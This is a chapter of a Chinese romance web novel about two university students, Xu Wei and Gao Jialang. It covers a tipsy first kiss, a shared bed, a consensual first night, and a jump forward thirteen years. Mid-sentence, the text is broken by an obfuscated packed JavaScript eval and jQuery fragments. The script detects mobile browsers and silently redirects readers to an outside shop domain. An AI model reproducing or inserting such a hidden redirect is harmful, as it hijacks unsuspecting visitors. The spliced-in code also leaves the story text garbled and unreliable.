电梯里放了木调的固体香薰，一路往上，走进郜嘉琅一个人住的精装大平层，徐微连惊惶的力气都没有了。
经历了一整天的冲击后，她实在是有点疲倦了。
喝醉是极其神奇的感受，头晕晕的，重重的，大脑却自以为能控制自己的身体，以为自己走得很直，实际已经东倒西歪了。
郜嘉琅把她放到次卧的床上，说：“你趴着睡。”
徐微仰躺着，咯咯咯笑：“为什么？”
郜嘉琅：“躺着睡的话，万一呕吐物出来，你会窒息的。”
“哦。”她乖觉地翻了个身，趴着了。
他家的被单、被单、枕头都是雪白的，蓬松柔软，她趴在一片雪白里，像陷进了一片云朵中。
“好软哦。”她摸了摸被子。
郜嘉琅蹲在床旁边，忧心忡忡地说：“我给你煮解酒汤吧，我爸喝醉了我妈就给他煮这个，我也会煮……就是家里没有苹果，苹果放在里面煮，解酒效果比较好。”
徐微摇头：“我不爱吃苹果。”
她满脸醉态地撑起半身，张开双臂，豪情壮志地发表了人生中第一个暴论——
“苹果是世界上最水果的水果，最无聊的水果！我讨厌苹果！”
然后“啪叽”，又趴下了。
趴下去的时候，手还在乱晃，郜嘉琅怕她弄疼自己，轻轻地握住了她的腕。
徐微无力地往下一滑。
就那样，他们的手，悬在半空中，十指相扣。
他呆了。
她也呆了。
徐微咽下一口口水，煞有介事地说：“郜嘉琅，这是我的初牵。”
郜嘉琅：“初牵是什么？”
徐微：“就是……我第一次和男生牵手。”
郜嘉琅的脸比她还红：“徐微，这也是我的初牵。”
掌心的温暖让她舍不得松开，而酒醉正好给了她放肆的借口。
很难说清楚那种感受，她确实喝醉了，想在床上滚来滚去、放声大笑，可她又清楚地知道自己喝醉了，喝醉了，就可以说一些她想说的话，其实那些话她本来就想说的，喝醉了好像更有底气一点了。
“我不想吃苹果，你坐上来陪陪我吧。”徐微说。
“哦哦，好。”郜嘉琅紧张地应，坐在她枕边。
他们紧扣的手依然牵着，放在被子上。
徐微半侧半趴的姿势，咯咯笑：“郜嘉琅，我觉得好奇怪啊，真的好奇怪啊，我突然有男朋友了。”
郜嘉琅有点紧张：“……嗯。”
徐微：“你是我的男朋友的话，我们是不是可以亲亲了？”
郜嘉琅深吸一口气，认真地说：“徐微，你不同意的话我不会亲你的，你相信我，我不会占女孩子便宜的。”
徐微疑惑：“那如果我想占你便宜，你怎么办？”
郜嘉琅想了一会儿，诚实地说：“……我不知道。”
她碰了碰他的唇。
蜻蜓点水的，太快了，说不出来什么感受。
但郜嘉琅惊呆了。
徐微得意洋洋：“你被我占便宜咯~”
郜嘉琅紧绷的身体缓缓放松，坐得更近了一点，肩膀给她当靠垫，下颌蹭她的头发，声音变得夹夹的：“你要对我负责的。”
他的手臂绕过来，隔着被子，松松地搭在她的腰上。
这就很像个拥抱了。
徐微咧开嘴：“郜嘉琅，这是我的初抱，可能也不是，刚才来的时候你一直搂着我，反正今天是我第一次和男生抱抱。”
他突然就抱紧了，在她耳边轻轻地说：“徐微，刚才是我的初吻。”
徐微嘿嘿笑：“我不是，我七岁就没有初吻了。”
郜嘉琅：“啊？”
徐微：“我七岁的时候，家里的小狗亲了我一口。”
郜嘉琅：“这个不算的！”
徐微理直气壮：“那条狗是公的诶！！！”
郜嘉琅：“公的也不算！”
“好吧好吧。”徐微面颊通红，歪在他怀里，“我高中的时候有个室友，她谈过好几段恋爱，她和我们说，碰嘴唇不算初吻，第一次舌吻才算初吻，按她的话来看，我们的初吻都还在。她还说，舌吻和碰嘴唇完全不一样，我就一直很好奇舌吻到底是什么感觉。我高中的时候就想，等我以后有男朋友了，我肯定要马上试一下。”
郜嘉琅又僵住了。
徐微抬头看他：“……你要不要，和我试一下？”
郜嘉琅定定地望着她，而后，突然扑上来了。
徐微闭上眼。
她能察觉到他的紧张。
明明动作极具侵略性，却牢牢地掌控自己的身体，不让自己压到她，空攥的拳头离她远远的，生怕碰到她的胸脯或者其他什么地方。
徐微大胆地撬开了他的齿关。
撬开的那瞬，郜嘉琅没忍住，全身的重量都压了上来。
浓烈炽热的少男香。
她的初吻，如此得湿潮、黏腻、温暖。
哪怕躺在床上，也不自主地腿软，腿软，还是腿软。
徐微发出一声小动物似的呢喃。
……
吻了会儿，徐微推推他，迷迷瞪瞪地说：“郜嘉琅，你顶到我了。”
“对不起对不起！”他迅速地弹起来，喘着气，垂着眼，像闯了祸似的。
徐微，酒醒了。
不是因为被他顶到所以酒醒了，而是被他知道自己顶到她就吓得屁滚尿流的样子，弄得酒醒了。
她困惑：“没关系的呀，是正常的生理反应，我不介意的，我就是和你说一声你顶到我了。”
她想了想，语不惊人死不休：“如果你没有顶到我的话，我会觉得我对你没有性吸引力。”
郜嘉琅的脸比她还红，憋了半天，憋出来一句：“你对我特别有性吸引力，真的真的，我很喜欢你。”
“郜嘉琅，抱抱嘛。”她坐起来，向他张开双臂。
再次紧紧相拥。
徐微埋在他的脖窝里，轻轻问：“郜嘉琅，你今晚能陪我睡吗？什么都不做，只是一起睡。”
哪怕已经上大学了，徐微依然无法忘怀备战高考时，她一个人对抗所有老师时，内心极大的绝望和恐惧。
做不出来的题，记不住的单词，背了就忘忘了再背的知识点，都逼疯她的故作坚定的意志。
每当痛苦绞缠她的心智，徐微的脑海里经常冒出来一个英文短句——
Ineedhuman-being.
（我需要人类。）
这个人无须懂她，徐微自己都说不清楚那些惊惶与疼痛，所以，只要愿意抱她就好了。
人类的抚摸是镇定剂。
郜嘉琅犹豫了很久，小心翼翼地说：“我们一起睡的话，可以开着灯吗？我有点怕黑。”
徐微往他怀里缩：“好。”
那是徐微十几年来，睡得最安沉的一晚。
房间的灯大开，亮堂堂的，郜嘉琅拿了一件他的运动汗衫给她当睡裙，她喜欢那件汗衫，这样她身上也全都是他的味道了。
雪白柔软的被窝，他的身体是热的，软的，柔韧的，他的肩膀那么宽，依偎着，心里很安定。
睡着睡着，郜嘉琅悄悄改变姿势，脑袋靠在她的怀里。
徐微揉他的蓬松的头发，轻声问：“郜嘉琅，你是因为小时候发生的事，所以怕黑吗？”
“是。”
“没关系，我们每个人都有害怕的东西。”她抱紧了他。
……
她睡得太香了，醒来的时候，日上三竿。
穿着他的衣服走出卧室，就被客厅茶几上放的那束花海一般的玫瑰花震惊了。
雪白的轻纱和塑料纸把鲜艳的红玫瑰包得如梦似幻，挤挤挨挨的花朵上还停着一只亮晶晶的蜻蜓水钻胸针。
“你醒了呀。”郜嘉琅笑得开朗纯净，“我朋友说在一起要送女朋友红玫瑰的，我昨天就想送你的，但是花店说99朵的起码要提前一天预定，我特意让她们加急了。”
徐微至今都记得那天中午，九月的太阳炙烤大地，她抱着比自己腰还粗的玫瑰花束，坐着电梯下楼，穿过斑马线，跨进学校高耸的大门，走在树荫盛密的校园人行道里，一路都有人对她行注目礼。
巨大的花束挡住她扬起的嘴角，推开宿舍门，即使是不太待见她的女生们都惊天动地地“哇”了一声。
*
徐微不太清楚郜嘉琅为什么喜欢她。
在宿舍里对镜自照，实在算不上好看。
于是兴奋过后，是深入骨髓的不安全感。
但郜嘉琅的黏人很好地弥补了这一点。
他真的太黏人了。
刚开学，他忙着打校内排球赛，徐微自从去看了一场后，郜嘉琅就缠着她要她每场都去看。
阳光把他的黑发晒出一点黄色，他弹跳而起，上衣顺势翻飞，露出一截漂亮的腹肌，修长的小腿曲线，美得像雕塑。
打完散场，他接过她递过来的矿泉水，喝两口，手搭在她的肩上，笑得大方爽朗。
徐微没课他有课的时候，她会去郜嘉琅班上蹭课，那年金融学很热门，徐微也感兴趣，但郜嘉琅来陪徐微上课，就纯粹是因为黏她了。
她上课，他安静地看她。
早饭午饭晚饭，郜嘉琅只要能和徐微一起吃，就不和别人一起吃。
一大堆男生叫徐微“嫂子”，吵着要郜嘉琅请客吃脱单饭，海鲜餐厅的高档包厢，帝王蟹和东星斑端上来的时候，包括徐微在内的所有人都傻了。
叫他请客吃饭，他请客吃席。
徐微也很黏他。
她确实喜欢住在郜嘉琅的大平层——和学校东大门只隔着一条马路，十分钟就能走到法社学院，比宿舍楼都近。
不需要她做什么家务，每周六，钟点工阿姨准时上门。
她喜欢粉色，郜嘉琅就把床上四件套都换成粉色，她说想抱着娃娃睡，郜嘉琅买了一大堆Steiff泰迪熊陪她。
晚上，他们在那粉色的、放了一大堆泰迪熊的床上同枕。
他总是很小心地问她可不可以亲吻，他好像很迷恋与她舌吻，但也只是舌吻。
他的动作很小心，上半身与她贴近，下半身离得很远，但隔着她的衣服和他的衣服，徐微还是感受到那种难言的，晦涩的，却自然蓬勃的欲望。
*
在一起两个月后，到了郜嘉琅的生日。
过去看过的书、接受的教育都告诉徐微，爱情不是一方的攀附和依赖，谈恋爱，就是礼尚往来的，是你给我一点，我再还你一点。
偏偏郜嘉琅给的，徐微还不起。
她根本还不起，她给不出同价的东西。
思考纠结了很久，他生日的前一天，徐微穿了一条成熟的红色连衣裙，转了两辆公交车，随便挑了一站下来，走进街边的便利店，两分钟后，她脸红心跳地走出来。
她买了一盒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719691|203610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
避孕套。
那晚陪郜嘉琅吹完生日蜡烛，徐微把避孕套推到他面前。
“我们试试吧。”她说。
她有点心虚，实际上，她并不觉得这是一个“礼物”，她也没说这是“礼物”。
因为她同样有欲望，对性有期待和好奇，夜里同枕而眠，她想彻底占有这个男人的欲望，并不比他想彻底占有她的少。
她却把这件事包装成“礼物”送给他了。
烛光晚餐的荧荧光亮，他的下颌线衬得成熟锋利，语气却是青涩的颤抖：“……你，准备好了？”
徐微坚定地点头：“我准备好了。”
……
徐微的初夜是一场兵荒马乱。
她看过片子，也在或通俗或高雅的文学作品里，看到过作家描述性的感受，她清楚自己在法律意义上到了可以表达性同意的年纪，也知道性需要卫生和避孕。
但她知道的，也只有这些了。
具体怎么操作，她完全不懂，毕竟看过猪跑和会做回锅肉是两回事。
幸运的是，在“上床”这件事上，社会轻而易举地宽容了女性的无知。
她只要表达愿意就可以。
她可以温顺地躺在床上，等待那个男人（无论他是不是第一次），熟练地为她宽衣解带、引导她了解他的身体、接受他探索她的领域；甚至允许他用“疼一下就好了”之类半哄半骗的话，以一种自以为体贴，实则虚伪甚至猥琐的姿态，洋洋得意地宣称他占有了另一个人类。
社会宽容女性的无知，纵容男性即使无知也要装作自以为是，再裹挟着女性臣服于男性的无知，于是两个无知的人，完成了这场本应需要知识的盛大表演。
然而无知就是无知，无知就不配拥有权力。
徐微一眼看穿了郜嘉琅的无知。
他真的不太会。
既不会戴，也找不到。
甚至当她鼓足勇气，主动脱掉他的衣服，小心翼翼地抚摸的时候，他的羞涩和紧张远大于欲望。
徐微犹豫：“你没有准备好的话，要不我们下次？”
郜嘉琅咬唇，红透的脸庞：“现在停下的话，你会不会觉得我很不是个男人？”
徐微歪头，扑哧笑了：“不会啊。”
“还是做吧。”郜嘉琅抱住了她，“我不想让你失望。”
“那行。”徐微迅速地翻身下床，“我去拿笔记本电脑！”
郜嘉琅：“你干嘛？”
徐微：“我就不信了，这玩意网上还没有教程了！”
——既然我们都无知，那就一起学习吧！
笔记本电脑搬到床上，两个人本着格物致知、知行合一的精神，蜷缩在被窝里，看了好几部人类版的《动物世界》。
郜嘉琅还拿笔做笔记。
再心急忙慌地牵手下楼，在一家破旧的，招牌灯带都坏了的“无人成人用品店”里，买了需要的东西。
一个晚上，总共洗了八次澡。
成功的那瞬，有点疼，但也还好。
他们望着彼此，然后，都笑了。
沐浴露残留在皮肤上的香气，盖过了情欲迸发的气味。
郜嘉琅抚摸她的额头，温柔地说：“宝宝，我夺走了你的第一次。”
“你不也是第一次吗？”徐微反问。
“对哦。”郜嘉琅亲了她一口，蹭着她的脖窝，黏腻地说，“你也夺走了我的第一次。”
“郜嘉琅，我觉得‘夺走’不太对。”徐微思考了会儿，边想边说，“我没有觉得我失去了什么，也没有觉得我拿走了你的什么。他们说，一个男人操了一个女人，就是拥有了这个女人。你呢，你和我发生了性关系，你觉得我属于你了吗？”
郜嘉琅沉默片刻，摇头：“没有，徐微，你永远是你自己的。”
“对呀。我是我，你是你，我也没觉得我和你做了，你就是我的人了。”徐微咬唇思索，认真地说，“……我觉得这件事应该叫作‘分享’。第一次对我来说很重要，对你来说也很重要，其他人也赋予了第一次很多意义，这让我更加确定第一次是重要的。我喜欢你，我愿意和你一起分享我的第一次，我也很开心你愿意和我分享你的第一次。
“郜嘉琅，所以是——我们分享了第一次。”
他低头吻她的脖子，依恋地搂紧：“是的，我们分享了第一次。”
徐微拉紧了被子，狡黠一笑：“郜嘉琅，我还想和你分享第二次。”
她压了上去。
被面波浪起伏。
……嗯。
*
转眼十三年过去，时过境迁，许多事都已忘却，但有关郜嘉琅的，所有第一次的记忆，都在徐微的脑海里清晰明确地留存着。
求学的时候，徐微对李思萍夸赞自己有“极强的社科研究天赋”一向存疑，她确实有很多独特的见解，但过去的经验告诉她，太独特，只会把自己推向孤立无援的地步。
这更像是负担，而不是“馈赠”。
如今，已经成为社会学副教授，被众多先辈同侪视为社会科学界新星人物的徐微，终于认可了当年李思萍的话。
徐微，你好有天赋。
冬夜的寒风刮起眼泪，落在徐微的嘴边。
舔舐到眼泪的苦咸，她点燃了不知道第几根烟，燃烧的白雾在路灯下格外刺眼。
“哈哈。”徐微失笑出声。
*
大一上学期期末，李思萍叫徐微去一趟她的办公室。